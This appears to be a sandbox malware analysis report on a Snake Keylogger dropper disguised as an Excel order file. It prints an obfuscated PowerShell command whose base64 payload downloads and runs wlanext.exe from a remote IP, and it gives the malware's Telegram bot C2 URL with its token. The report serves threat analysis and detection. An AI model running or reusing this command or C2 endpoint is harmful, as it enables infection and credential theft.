Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2024 11:30

General

  • Target

    SUNLIGHT UPDATED ORDER.xls

  • Size

    848KB

  • MD5

    5a232e6f517ecc2663439fcf2a28573d

  • SHA1

    155a24515072423a751465a774fc6e3e24e21f84

  • SHA256

    4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8

  • SHA512

    a96e1d03f6155e30e236d4234c0c352911d3780cd59493ea8545296dc8b42c2befed3972adfbf0001df24023e522547d00bb2de68c27d729cf689487ad5b4f49

  • SSDEEP

    12288:YmzHJE+CzldQD3DERnLRmF8D5JhuiC3LaQlOh4cjUVwUi4t7W:zczlWbARM8NTC3eQ0h4eU

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\SUNLIGHT UPDATED ORDER.xls"
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1304
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe
      "C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1312
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f8unps7y.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9EEF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9EEE.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1248
      • C:\Users\Admin\AppData\Roaming\wlanext.exe
        "C:\Users\Admin\AppData\Roaming\wlanext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Users\Admin\AppData\Roaming\wlanext.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    1KB

    MD5

    67e486b2f148a3fca863728242b6273e

    SHA1

    452a84c183d7ea5b7c015b597e94af8eef66d44a

    SHA256

    facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

    SHA512

    d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    436B

    MD5

    971c514f84bba0785f80aa1c23edfd79

    SHA1

    732acea710a87530c6b08ecdf32a110d254a54c8

    SHA256

    f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

    SHA512

    43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    174B

    MD5

    e5bc4484bff0bfb4b9bd5391186b6c4e

    SHA1

    60ca6f4f60953660b32ff3d796dc9f3832ecb562

    SHA256

    b9bac085904f311fe5d1b5a43994ee4cefab1838de8f67b80c7a0a307ff57b92

    SHA512

    f60462660a573921c78440edab501400acc77b452bbbaf2994ada96eb129422750365a54ba205017c98a9317c2ecad2c2f4db5f670596d5b3437004882215400

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    170B

    MD5

    3d1cfe48cec2413f40659ab3fb372aec

    SHA1

    080d21b4b8a0e4e51889a1981776450d8319962c

    SHA256

    14e4fc48da7863237002ce19eb4ccb44a407a85e6cc82d04fc5f6491e342325d

    SHA512

    dc3dda328d989a166e00f22e9d4690cbe1ef509093307edfb98c39d9b4c550c73372c4cb04009d2f4662e3a7c55371ec3889b67ef2e6cebe956e0a175f791ef4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\seethemagicalpersoninmylifewithherlifegoodforme[1].hta

    Filesize

    8KB

    MD5

    24dcf722096ca6d02bbb70733ae01abc

    SHA1

    fb8166a57aaf6d4837dfb686b84ee51474941c83

    SHA256

    e0d07f596090db80fff8fb48b11999010611ac352534fadcf295c7ac47042bdd

    SHA512

    bb055ad22ba25be389d212fe6517b28244234d259cb0dc870eb7691b6ac3f99ed1d3a8408552f3f1fed9d29313a4a14d5a3fc3c08c629790990a8229f8ab33da

  • C:\Users\Admin\AppData\Local\Temp\Cab975F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES9EEF.tmp

    Filesize

    1KB

    MD5

    b15eb5415f82363d1d3b50c2eb4a61b4

    SHA1

    b351610499aa07874cfd690bca17c30eef0c7d60

    SHA256

    c02d8b60b722dc3638b43a85cb216101873e425461fda6ab0e5e3971912fc8c8

    SHA512

    fbea161eab32b60f7e44f8ba59011ff77638e2952b940a5058b15e2ada16c5d5f18618059964b2d75e3f7b21c3a1e3c4aef2fb32f93f30ccf3b0083197adcd2f

  • C:\Users\Admin\AppData\Local\Temp\f8unps7y.dll

    Filesize

    3KB

    MD5

    7579765413e130c3f018eec692fe137d

    SHA1

    3c1269207ed899c3217026af66ab8999d68a8aad

    SHA256

    ab6ba5ffbcf9060f1c54f14ed8d0db9c4b17f9e173738f3ae58df62abfee295a

    SHA512

    c582abc11eb5061dbed73742b1d9f509e172be9f1c2d6a43ecca485796102709e0ece1871a36e43c963fa782916e29258c9421432e778f479a03302fcd06ccf8

  • C:\Users\Admin\AppData\Local\Temp\f8unps7y.pdb

    Filesize

    7KB

    MD5

    053b45df439104dc478a59c2026a575e

    SHA1

    3ebb962e1cc29f081ff23916580886fba9daef86

    SHA256

    9c75ec32fc030aef6ec27b5280ae8a81b5e83d49d8752fe8cf301a55ff6a299b

    SHA512

    7b5224cbeb326587ca5cd776ff97e6c3661dd82c5aaf3f1ea29c29c4b33befa51fc97d8c98d78013c8d131e246e0f3cfc9f36f7ffb75ba435f5a8b7326bf7f29

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    d1cfed62005fc46af94969453b66912d

    SHA1

    74f4f9dfab5d2f17247f707577d0935f7ee445d1

    SHA256

    c91bdbee4e102d17835ae5f7024d6331926fab3c4917002fa89142dba048d24c

    SHA512

    6a9e0023ede076c4ee5b6c8a94598214e39ede97ede46ca5be46371150229e00b685f9fd2d068b73a84a38568a962d34e0f4ec3f3ac8b82b55ff16f34c012bc7

  • C:\Users\Admin\AppData\Roaming\wlanext.exe

    Filesize

    928KB

    MD5

    ed7a5494d8b8fcb1044999a61e436ed7

    SHA1

    8295350be915d24bd3701e5b0ad9711dfc2f2f86

    SHA256

    644357875a1b10ed205cf41b3dd8fe4f9f78be54b8dd07642e0648dd67177819

    SHA512

    c138d6ee662be1fab2cd9b8418e3419414205797e1dd82a0b8a1455cfb0f23a6720cd686600049d8eb557b483b806e587693b22f3755e1e00f311d48cd968a33

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9EEE.tmp

    Filesize

    652B

    MD5

    cdda0e24f813ff263577ae532e3037da

    SHA1

    ce9a7d67cf85c21927cdf368f721eb766fbef802

    SHA256

    5ed835b908e0026a5b548f849da1de445d720064bedbcb7063c17b8325e7fabd

    SHA512

    48da537af6c4c12a5748555939de1f8949f024dd13f0fa5f9543b25e73b3fa2420c551b363d6bc8ca5601fd6c7e6d4d0552f1885afb6288b1e3c256fc8c53e92

  • \??\c:\Users\Admin\AppData\Local\Temp\f8unps7y.0.cs

    Filesize

    483B

    MD5

    4c5d6a51b5bad9b89090a128b2676ef5

    SHA1

    13fbf9031d31d7c621c9fa9816818b341377d487

    SHA256

    c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7

    SHA512

    a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d

  • \??\c:\Users\Admin\AppData\Local\Temp\f8unps7y.cmdline

    Filesize

    309B

    MD5

    5cea53cf40b8dc7ff75968eeb58f62d8

    SHA1

    afd701f26af73206c983bab16a38a554834b46a8

    SHA256

    61d30c37e811ea79a0c810c0ea275225f9ea123ef20ea19be00082a3fabfec72

    SHA512

    3a9aee8ec1db79be47971b8c2a80bbcdf914f16fae1f6803fd5e891a279b8014d36085096f36a25ebdf451d1e457292b96b5ba47ea325072ad869a8f4d53466d

  • memory/1304-17-0x0000000001F90000-0x0000000001F92000-memory.dmp

    Filesize

    8KB

  • memory/1304-1-0x0000000072CDD000-0x0000000072CE8000-memory.dmp

    Filesize

    44KB

  • memory/1304-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1304-56-0x0000000072CDD000-0x0000000072CE8000-memory.dmp

    Filesize

    44KB

  • memory/1664-69-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1664-70-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1664-71-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2860-16-0x0000000002530000-0x0000000002532000-memory.dmp

    Filesize

    8KB